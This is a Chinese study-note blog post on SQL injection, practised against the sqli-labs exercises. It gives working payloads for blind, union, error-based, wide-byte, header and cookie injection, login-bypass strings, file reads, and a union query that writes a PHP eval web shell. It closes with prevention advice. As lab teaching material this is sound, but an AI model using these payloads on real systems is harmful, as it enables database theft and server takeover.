題記
離面試沒多長時間了,打算開始把學過的基礎漏洞復習一遍,拖了好幾天,因為sql注入真的是太復雜了,經常不復習非常容易混。一時難以下手,復習過程中我又想玩一下DNSlog,玩着玩着它和我復習的靶場重合了,所以我打算一起搞了。工作量真是巨大,不過我也獲益良多。復習SQL注入我主推的謝公子的文章。一開始我打算在筆記本上手寫(我有手寫筆記的習慣),后來感覺工作量太大,還是電腦香,還是用電腦吧。
下面定義部分我有些是直接復制的,實操部分自己操作的靶場,實踐是檢驗真理的唯一標准。跟寫論文一樣,真是幸福啊。
操作環境
Mysql、sqli的Less-5(盲注)、Less-1(聯合注入、報錯注入)、Less-18(User-Agent注入)、Less-32(二次注入)、Less-32(寬字節)、cookie注入靶場。Navicat。
SQL注入簡介
SQL注入是因為后台SQL語句拼接了用戶的輸入,而且Web應用程序對用戶輸入數據的合法性沒有判斷和過濾,前端傳入后端的參數是攻擊者可控的,攻擊者可以通過構造不同的SQL語句來實現對數據庫的任意操作。比如查詢、刪除,增加,修改數據等等,如果數據庫的用戶權限足夠大,還可以對操作系統執行操作。
由於以下的環境都是MySQL數據庫,所以先了解點MySQL有關的知識。在MySQL5.0之后,MySQL中默認添加了一個名為 information_schema 的數據庫,該數據庫中的表都是只讀的,不能進行更新、刪除和插入等操作,也不能加載觸發器,因為它們實際只是一個視圖,不是基本表,沒有關聯的文件。
mysql中注釋符:# 、/**/ 、 --
information_schema數據庫中三個很重要的表:
information_schema.schemata: 該數據表存儲了mysql數據庫中的所有數據庫的庫名
information_schema.tables: 該數據表存儲了mysql數據庫中的所有數據表的表名
information_schema.columns: 該數據表存儲了mysql數據庫中的所有列的列名
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- mysql中比較常用的一些函數: version():查詢數據庫的版本 user():查詢數據庫的使用者 database():數據庫 system_user():系統用戶名 session_user():連接數據庫的用戶名 current_user:當前用戶名 load_file():讀取本地文件 @@datadir:讀取數據庫路徑 @@basedir:mysql安裝路徑 @@version_complie_os:查看操作系統 ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ascii(str) : 返回給定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97 length(str) : 返回給定字符串的長度,如 length("string")=6 substr(string,start,length) : 對於給定字符串string,從start位開始截取,截取length長度 ,如 substr("chinese",3,2)="in" substr()、stbstring()、mid() 三個函數的用法、功能均一致 concat(username):將查詢到的username連在一起,默認用逗號分隔 concat(str1,'*',str2):將字符串str1和str2的數據查詢到一起,中間用*連接 group_concat(username) :將username數據查詢在一起,用逗號連接 limit 0,1:查詢第1個數 limit 1,1:查詢第2個數
SQL注入分類
依據注入點類型分類
數字類型的注入
字符串類型的注入
搜索型注入
依據提交方式分類
GET注入
POST注入
COOKIE注入
HTTP頭注入(XFF注入、UA注入、REFERER注入)
依據獲取信息的方式分類
基於布爾的盲注
基於時間的盲注
基於報錯的注入
聯合查詢注入
堆查詢注入 (可同時執行多條語句)
判斷SQL注入是否存在
一:先加單引號'、雙引號"、單括號)、雙括號))等看看是否報錯,如果報錯就可能存在SQL注入漏洞了。
二:還有在URL后面加 and 1=1 、 and 1=2 看頁面是否顯示一樣,顯示不一樣的話,肯定存在SQL注入漏洞了。
三:還有就是Timing Attack測試,也就是時間盲注。有時候通過簡單的條件語句比如 and 1=2 是無法看出異常的。
在MySQL中,有一個Benchmark() 函數,它是用於測試性能的。Benchmark(count,expr) ,這個函數執行的結果,是將表達式 expr 執行 count 次 。
因此,利用benchmark函數,可以讓同一個函數執行若干次,使得結果返回的時間比平時要長,通過時間長短的變化,可以判斷注入語句是否執行成功。這是一種邊信道攻擊,這個技巧在盲注中被稱為Timing Attack,也就是時間盲注。
易出現SQL注入的功能點:凡是和數據庫有交互的地方都容易出現SQL注入,SQL注入經常出現在登陸頁面、涉及獲取HTTP頭(user-agent / client-ip等)的功能點及訂單處理等地方。例如登陸頁面,除常見的萬能密碼,post 數據注入外也有可能發生在HTTP頭中的 client-ip 和 x-forward-for 等字段處。這些字段是用來記錄登陸的 i p的,有可能會被存儲進數據庫中從而與數據庫發生交互導致sql注入。
一、布爾盲注(Boolean盲注)
Web的頁面的僅僅會返回True和False。那么布爾盲注就是進行SQL注入之后然后根據頁面返回的True或者是False來得到數據庫中的相關信息。(boolean值只能是true和false)
首先需要了解的頁面和數據庫中查詢的區別
這里使用sqli的Less-5,首先我們要了解此漏洞頁面怎么查詢數據庫的數據的,然后聯合可回顯的mysql數據庫的軟件進行查詢以達到更好的學習進步。
頁面的源代碼:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //sql查詢語句 $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ //如果查詢到數據 echo 'You are in...........'; }else{ //如果沒查詢到數據 print_r(mysql_error()); }
於是我們可以通過構造一些判斷語句,通過頁面是否顯示來證實我們的猜想。盲注一般用到的一些函數:ascii() 、substr() 、length(),exists()、concat()等。
http://192.168.1.132:86/Less-5/?id=1為正確頁面,回顯如下圖:
http://192.168.1.132:86/Less-5/?id=1%27為錯誤頁面,回顯如下圖:
打開軟件Navicat。?id=1對應的在數據庫的查詢語句為select * from users where id='1' LIMIT 0,1。
http://192.168.1.132:86/Less-5/?id=1%27%20and%20length(database())%3E5%20--在頁面會報錯,因為最后需要加上一個空格才能做到在數據庫查詢中注釋掉后面的語句。
所以最后需要添加一個+號或者%20,http://192.168.1.132:86/Less-5/?id=1%27%20and%20length(database())>5%20--+
1:判斷數據庫類型
這個例子中出錯頁面已經告訴了我們此數據庫是MySQL,那么當我們不知道是啥數據庫的時候,如何分辨是哪個數據庫呢?
雖然絕大多數數據庫的大部分SQL語句都類似,但是每個數據庫還是有自己特殊的表的。通過表我們可以分辨是哪些數據庫。
MySQL數據庫的特有的表是 information_schema.tables , access數據庫特有的表是 msysobjects 、SQLServer 數據庫特有的表是 sysobjects 。那么,我們就可以用如下的語句判斷數據庫。哪個頁面正常顯示,就屬於哪個數據庫
//判斷是否是 Mysql數據庫 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) # //判斷是否是 access數據庫 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) # //判斷是否是 Sqlserver數據庫 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) # 對於MySQL數據庫,information_schema 數據庫中的表都是只讀的,不能進行更新、刪除和插入等操作,也不能加載觸發器,因為它們實際只是一個視圖,不是基本表,沒有關聯的文件。
information_schema.tables存儲了數據表的元數據信息,下面對常用的字段進行介紹:
table_schema: 記錄數據庫名;
table_name: 記錄數據表名;
table_rows: 關於表的粗略行估計;
data_length : 記錄表的大小(單位字節);
2:判斷當前數據庫名(以下方法不適用於access和SQL Server數據庫)
1:判斷當前數據庫的長度,利用二分法 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+ //正常顯示 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+ //不顯示任何數據 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+ //正常顯示 http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+ //不顯示任何數據
大於7正常顯示,大於8不顯示,說明大於7而不大於8,所以可知當前數據庫長度為 8
2:判斷當前數據庫的字符,和上面的方法一樣,利用二分法依次判斷 //判斷數據庫的第一個字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100 --+ //判斷數據庫的第二個字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+ ...........
由此可以判斷出當前數據庫為 security
3:判斷當前數據庫中的表(語句后面添加--+)
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜測當前數據庫中是否存在admin表
1:判斷當前數據庫中表的個數 // 判斷當前數據庫中的表的個數是否大於5,用二分法依次判斷,最后得知當前數據庫表的個數為4 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # 2:判斷每個表的長度 //判斷第一個表的長度,用二分法依次判斷,最后可知當前數據庫中第一個表的長度為6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判斷第二個表的長度,用二分法依次判斷,最后可知當前數據庫中第二個表的長度為6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 3:判斷每個表的每個字符的ascii值 //判斷第一個表的第一個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判斷第一個表的第二個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 # .........
由此可判斷出存在表 emails、referers、uagents、users ,猜測users表中最有可能存在賬戶和密碼,所以以下判斷字段和數據在 users 表中判斷
4. 判斷表中的字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已經證實了存在admin表,那么猜測是否存在username字段
1:判斷表中字段的個數 //判斷users表中字段個數是否大於5,這里的users表是通過上面的語句爆出來的 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 # 2:判斷字段的長度 //判斷第一個字段的長度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判斷第二個字段的長度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 3:判斷字段的ascii值 //判斷第一個字段的第一個字符的長度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判斷第一個字段的第二個字符的長度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 ...........
由此可判斷出users表中存在 id、username、password 字段
5.判斷字段中的數據
我們知道了users中有三個字段 id 、username 、password,我們現在爆出每個字段的數據
1: 判斷數據的長度 // 判斷id字段的第一個數據的長度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 // 判斷id字段的第二個數據的長度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 2:判斷數據的ascii值 // 判斷id字段的第一個數據的第一個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 // 判斷id字段的第一個數據的第二個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 ...........
注意:盲注可以利用DNSlog快速出結果,結合我前2天寫完的博客。
地址:http://cnblogs.com/sunny11/p/14399420.html
二、聯合查詢注入(union注入)
這種查詢原理是把前面值整成錯誤的(id=-1' 或者id=1' and 1=2 后面加上union語句),這樣就會執行union后語句。
union聯合查詢適用於有顯示列的注入。
我們可以通過order by來判斷當前表的列數。
4時錯誤,3時正確,可得知,當前表有3列
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+(不知道為啥我測試的時候頁面#號不行,數據庫里#號可以。)
我們可以通過 union 聯合查詢來知道顯示的列數。
127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1 ,2 ,3 --+
127.0.0.1/sqli/Less-1/?id=-1' union select 1 ,2 ,3 --+
我們聯合查詢的就顯示出來了。可知,第2列和第3列是顯示列。那我們就可以在這兩個位置插入一些函數了。
可以通過下面函數獲得該數據庫的一些重要的信息
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,version(),@@datadir --+
我們還可以通過union注入獲得更多的信息。
// 獲得所有的數據庫 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ // 獲得所有的表 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables--+ // 獲得所有的列 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns --+
#獲取當前數據庫中指定表的指定字段的值(只能是database()所在的數據庫內的數據,因為處於當前數據庫下的話不能查詢其他數據庫內的數據)
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(password),3 from users%23
當我們已知當前數據庫名security,我們就可以通過下面的語句得到當前數據庫的所有的表。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
我們知道了當前數據庫中存在了四個表,那么我們可以通過下面的語句知道每一個表中的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
如下,我們可以知道users表中有id,username,password三列
我們知道存在users表,又知道表中有 id ,username, password三列,那么我們可以構造如下語句
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+
我們就把users表中的所有數據都給爆出來了。
此部分實戰參考我對某中科院的sql注入文章
地址:http://cnblogs.com/sunny11/p/14162711.html
三、文件讀寫
當有顯示列的時候,文件讀可以利用 union 注入。當沒有顯示列的時候,只能利用盲注進行數據讀取;
文件寫入只能利用 union 注入
示例:讀取e盤下3.txt文件
union注入讀取文件
//union注入讀取 e:/3.txt 文件 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt") --+ //也可以把 e:/3.txt 轉換成16進制 0x653a2f332e747874 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x653a2f332e747874) --+
盲注讀取文件
//盲注讀取的話就是利用hex函數,將讀取的字符串轉換成16進制,再利用ascii函數,轉換成ascii碼,再利用二分法一個一個的判斷字符,很復雜,一般結合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
我們可以利用寫入文件的功能,在e盤創建4.php文件,然后寫入一句話木馬
union寫入文件
//利用union注入寫入一句話木馬 into outfile 和 into dumpfile 都可以 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'd:/4.php' --+ // 可以將一句話木馬轉換成16進制的形式 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'd:/4.php' --+
四、報錯注入(把查詢語句與報錯信息拼接,一起顯示出來)
報錯注入原理文章地址(講的很好)這里強烈建議大家都看一遍,如果直接看結果看不懂:http://blog.csdn.net/he_and/article/details/80455884
利用前提:頁面上沒有顯示位,但是需要輸出 SQL 語句執行錯誤信息。比如 mysql_error()
優點: 不需要顯示位
缺點: 需要輸出 mysql_error( )的報錯信息
floor報錯注入
所用到的函數:
(1)count():返回某列的行數 count(*):返回某列的所有行數 (2)rand():隨機輸出一個小於1的正數 rand()生成的數據毫無規律,而rand(0)生成的數據則有規律可循。 (3)floor():輸出的結果取整 (4)group by語句:結果分組 (5)concat():連接兩條語句
floor報錯注入是利用 count()函數 、rand()函數 、floor()函數 、group by 這幾個特定的函數結合在一起產生的注入漏洞。缺一不可。
rand(0)是比較穩定的,所以每次執行都可以報錯,但是如果使用rand()的話,因為它生成的序列是隨機的嘛,所以並不是每次執行都會報錯(你可以把下面語句改成rand(),可以看到頁面會返回報錯和不報錯2種)。
// 我們可以將 user() 改成任何函數,以獲取我們想要的信息。具體可以看文章開頭關於information_schema數據庫的部分
?id=-1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) --+
//將其分解
(select 1 from (Y)a)
Y= select count(*) from information_schema.tables group by concat(Z)
Z= user(),floor(rand(0)*2) //將這里的 user() 替換成我們需要查詢的函數
五、時間盲注
Timing Attack注入,也就是時間盲注。通過簡單的條件語句比如 and 1=2 是無法看出異常的。
在MySQL中,有一個Benchmark() 函數,它是用於測試性能的。Benchmark(count,expr) ,這個函數執行的結果,是將表達式 expr 執行 count 次 。
因此,利用benchmark函數,可以讓同一個函數執行若干次,使得結果返回的時間比平時要長,通過時間長短的變化,可以判斷注入語句是否執行成功。這是一種邊信道攻擊,這個技巧在盲注中被稱為Timing Attack,也就是時間盲注。
利用前提:頁面上沒有顯示位,也沒有輸出 SQL 語句執行錯誤信息。正確的 SQL 語句和錯誤的 SQL 語句返回頁面都一樣,但是加入 sleep(5)條件之后,頁面的返回速度明顯慢了 5 秒。
//判斷是否存在延時注入
http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5) --+
六、寬字節注入
寬字節注入是由於不同編碼中中英文所占字符的不同所導致的。通常來說,在GBK編碼當中,一個漢字占用2個字節。而在UTF-8編碼中,一個漢字占用3個字節。在php中,我們可以通過輸入 echo strlen("中") 來測試,當為GBK編碼時,輸入2,而為UTF-8編碼時,輸出3。除了GBK以外,所有的ANSI編碼都是中文都是占用兩個字節。
在說之前,我們先說一下php中對於sql注入的過濾,這里就不得不提到幾個函數了。
addslashes()函數,這個函數在預定義字符之前添加反斜杠 \ 。預定義字符: 單引號 ' 、雙引號 " 、反斜杠 \ 、NULL。但是這個函數有一個特點就是雖然會添加反斜杠 \ 進行轉義,但是 \ 並不會插入到數據庫中。。這個函數的功能和魔術引號完全相同,所以當打開了魔術引號時,不應使用這個函數。可以使用 get_magic_quotes_gpc() 來檢測是否已經轉義。
mysql_real_escape_string() 函數,這個函數用來轉義sql語句中的特殊符號x00 、\n 、\r 、\ 、' 、" 、x1a。
魔術引號:當打開時,所有的單引號'、雙引號"、反斜杠\ 和 NULL 字符都會被自動加上一個反斜線來進行轉義,這個和 addslashes()函數的作用完全相同。所以,如果魔術引號打開了,就不要使用addslashes()函數了。一共有三個魔術引號指令。
magic_quotes_gpc 影響到 HTTP 請求數據(GET,POST 和 COOKIE)。不能在運行時改變。在 PHP 中默認值為 on。參見 get_magic_quotes_gpc()。
magic_quotes_runtime 如果打開的話,大部份從外部來源取得數據並返回的函數,包括從數據庫和文本文件,所返回的數據都會被反斜線轉義。該選項可在運行的時改變,在 PHP 中的默認值為 off。參見 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase 如果打開的話,將會使用單引號對單引號進行轉義而非反斜線。此選項會完全覆蓋 magic_quotes_gpc。如果同時打開兩個選項的話,單引號將會被轉義成 ''。而雙引號、反斜線 和 NULL 字符將不會進行轉義。如何取得其值參見 ini_get()
實操:此次采用sqli的Less-32,
http://192.168.1.132:86/Less-32/?id=1為正常頁面
http://192.168.1.132:86/Less-32/?id=1'可以發現單引號前會被加上一個/
我們要想繞過這個轉義,就得把 \' 的 \ 給去掉。
寬字節注入,這里利用的是MySQL的一個特性。MySQL在使用GBK編碼的時候,會認為兩個字符是一個漢字,前提是前一個字符的 ASCII 值大於128,才會認為是漢字。
%df和反斜杠\ 合成了一起,當成了 運 來處理。而我們輸入的單引號' 逃了出來,所以發生了報錯。因為在MySQL中只有當前一個字符的ASCII大於128,才會認為兩個字符是一個漢字。所以只要我們輸入的數據大於等於 %81 就可以使 ' 逃脫出來了。
http://192.168.1.132:86/Less-32/?id=1 %df 可以發現/和%df組成了一個漢字
把/號干掉之后就可以用union聯合注入查詢數據了。
http://192.168.1.132:86/Less-32/?id=1%84%27%20and%201=2%20union%20select%201,user(),version()%20--+
七、堆疊注入
在SQL中,分號;是用來表示一條sql語句的結束。試想一下我們在 ; 結束后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合並在一起,兩者之間有什么區別呢?區別就在於union 或者union all執行的語句類型是有限的,只可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入:root';DROP database user;服務器端生成的sql語句為:Select * from user where name='root';DROP database user;當執行查詢后,第一條顯示查詢信息,第二條則將整個user數據庫刪除。
八、二次注入
二次注入漏洞是一種在Web應用程序中廣泛存在的安全漏洞形式。相對於一次注入漏洞而言,二次注入漏洞更難以被發現,但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。
1、黑客通過構造數據的形式,在瀏覽器或者其他軟件中提交HTTP數據報文請求到服務端進行處理,提交的數據報文請求中可能包含了黑客構造的SQL語句或者命令。
2、服務端應用程序會將黑客提交的數據信息進行存儲,通常是保存在數據庫中,保存的數據信息的主要作用是為應用程序執行其他功能提供原始輸入數據並對客戶端請求做出響應。
3、黑客向服務端發送第二個與第一次不相同的請求數據信息。
4、服務端接收到黑客提交的第二個請求信息后,為了處理該請求,服務端會查詢數據庫中已經存儲的數據信息並處理,從而導致黑客在第一次請求中構造的SQL語句或者命令在服務端環境中執行。
5、服務端返回執行的處理結果數據信息,黑客可以通過返回的結果數據信息判斷二次注入漏洞利用是否成功
我們訪問 http://127.0.0.1/sqli/Less-24/index.php
是一個登陸頁面,我們沒有賬號,所以選擇新建一個用戶
我們新建的用戶名為:admin' # 密碼為:654321
查看數據庫,可以看到,我們的數據插入進去了
我們使用新建的用戶名和密碼登錄。
登錄成功了,跳轉到了后台頁面修改密碼頁面。
我們修改用戶名為:admin' # 密碼為:aaaaaa
提示密碼更新成功!
我們查看數據庫,發現用戶 admin'# 的密碼並沒有修改,而且 admin 用戶的密碼修改為了 aaaaaa。
這里就是修改密碼處存在sql注入。
修改密碼的時候,語句就會變為:
$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin' #' and password='$curr_pass' ";
#把后面的都給注釋了,所以就是修改了admin用戶的密碼為 aaaaaa
九、User-Agent注入
我們訪問 http://127.0.0.1/sqli/Less-18/ ,頁面顯示一個登陸框和我們的ip信息。
當我們輸入正確的用戶名和密碼之后登陸之后,頁面多顯示了 瀏覽器的User-Agent。
抓包,修改其User-Agent為
' and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #我們可以將 database()修改為任何的函數
可以看到,頁面將當前的數據庫顯示出來了。
十、Cookie注入
如今絕大部門開發人員在開發過程中會對用戶傳入的參數進行適當的過濾,但是很多時候,由於個人對安全技術了解的不同,有些開發人員只會對get,post這種方式提交的數據進行參數過濾。
但我們知道,很多時候,提交數據並非僅僅只有get / post這兩種方式,還有一種經常被用到的方式:request("xxx"),即request方法。通過這種方法一樣可以從用戶提交的參數中獲取參數值,這就造成了cookie注入的最基本條件:使用了request方法,但是只對用戶get / post提交的數據進行過濾。
我們這里有一個連接:http://192.168.1.132:8009/shownews.asp?id=27
我們訪問:http://192.168.1.132:8009/shownews.asp發現訪問無內容。
我們將id=1放在cookie中再次訪問,查看能否訪問,如果能訪問,則說明id參數可以通過cookie提交。
那么,如果后端沒有對cookie中傳入的數據進行過濾,那么,這個網站就有可能存在cookie注入了!
在sqlmap中使用cookie注入,level >=2才行。
Sqlmap執行sqlmap.py -u "http://192.168.1.132:8009/shownews.asp" --cookie="id=27" --level 2。
十一、傳說中的萬能密碼
sql="select*from test where username=' XX ' and password=' XX ' "; admin' or '1'='1 XX //萬能密碼(已知用戶名) XX 'or'1'='1 //萬能密碼(不需要知道用戶名) 'or '1'='1'# XX //萬能密碼(不知道用戶名)
Sql注入的預防
(1)預編譯(PreparedStatement)(JSP)
可以采用預編譯語句集,它內置了處理SQL注入的能力,只要使用它的setXXX方法傳值即可。
String sql = "select id, no from user where id=?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, id); ps.executeQuery();
如上所示,就是典型的采用 SQL語句預編譯來防止SQL注入 。為什么這樣就可以防止SQL注入呢?
其原因就是:采用了PreparedStatement預編譯,就會將SQL語句:"select id, no from user where id=?" 預先編譯好,也就是SQL引擎會預先進行語法分析,產生語法樹,生成執行計划,也就是說,后面你輸入的參數,無論你輸入的是什么,都不會影響該SQL語句的語法結構了,因為語法分析已經完成了,而語法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面輸入了這些SQL命令,也不會被當成SQL命令來執行了,因為這些SQL命令的執行, 必須先通過語法分析,生成執行計划,既然語法分析已經完成,已經預編譯過了,那么后面輸入的參數,是絕對不可能作為SQL命令來執行的,只會被當做字符串字面值參數。所以SQL語句預編譯可以有效防御SQL注入。
原理:SQL注入只對SQL語句的編譯過程有破壞作用,而PreparedStatement已經預編譯好了,執行階段只是把輸入串作為數據處理。而不再對SQL語句進行解析。因此也就避免了sql注入問題。
(2)PDO(PHP)
首先簡單介紹一下什么是PDO。PDO是PHP Data Objects(php數據對象)的縮寫。是在php5.1版本之后開始支持PDO。你可以把PDO看做是php提供的一個類。它提供了一組數據庫抽象層API,使得編寫php代碼不再關心具體要連接的數據庫類型。你既可以用使用PDO連接mysql,也可以用它連接oracle。並且PDO很好的解決了sql注入問題。
PDO對於解決SQL注入的原理也是基於預編譯。
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();
實例化PDO對象之后,首先是對請求SQL語句做預編譯處理。在這里,我們使用了占位符的方式,將該SQL傳入prepare函數后,預處理函數就會得到本次查詢語句的SQL模板類,並將這個模板類返回,模板可以防止傳那些危險變量改變本身查詢語句的語義。然后使用 bindParam()函數對用戶輸入的數據和參數id進行綁定,最后再執行.
(3)使用正則表達式過濾
雖然預編譯可以有效預防SQL注,但是某些特定場景下,可能需要拼接用戶輸入的數據。這種情況下,我們就需要對用戶輸入的數據進行嚴格的檢查,使用正則表達式對危險字符串進行過濾,這種方法是基於黑名單的過濾,以至於黑客想盡一切辦法進行繞過注入。基於正則表達式的過濾方法還是不安全的,因為還存在繞過的風險。
對用戶輸入的特殊字符進行嚴格過濾,如 '、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union
(4)其他
Web 應用中用於連接數據庫的用戶與數據庫的系統管理員用戶的權限有嚴格的區分(如不能執行 drop 等),並設置 Web 應用中用於連接數據庫的用戶不允許操作其他數據庫。
設置 Web 應用中用於連接數據庫的用戶對 Web 目錄不允許有寫權限。
嚴格限定參數類型和格式,明確參數檢驗的邊界,必須在服務端正式處理之前對提交的數據的合法性進行檢查。
使用 Web 應用防火牆。
參考鏈接
技術干貨 | SQL注入漏洞詳解:https://mp.weixin.qq.com/s/9wRYicuxRXxEBfu4hMY5lQ
sql注入報錯注入原理解析:http://blog.csdn.net/he_and/article/details/80455884
cookie注入:https://blog.51cto.com/brighttime/1918560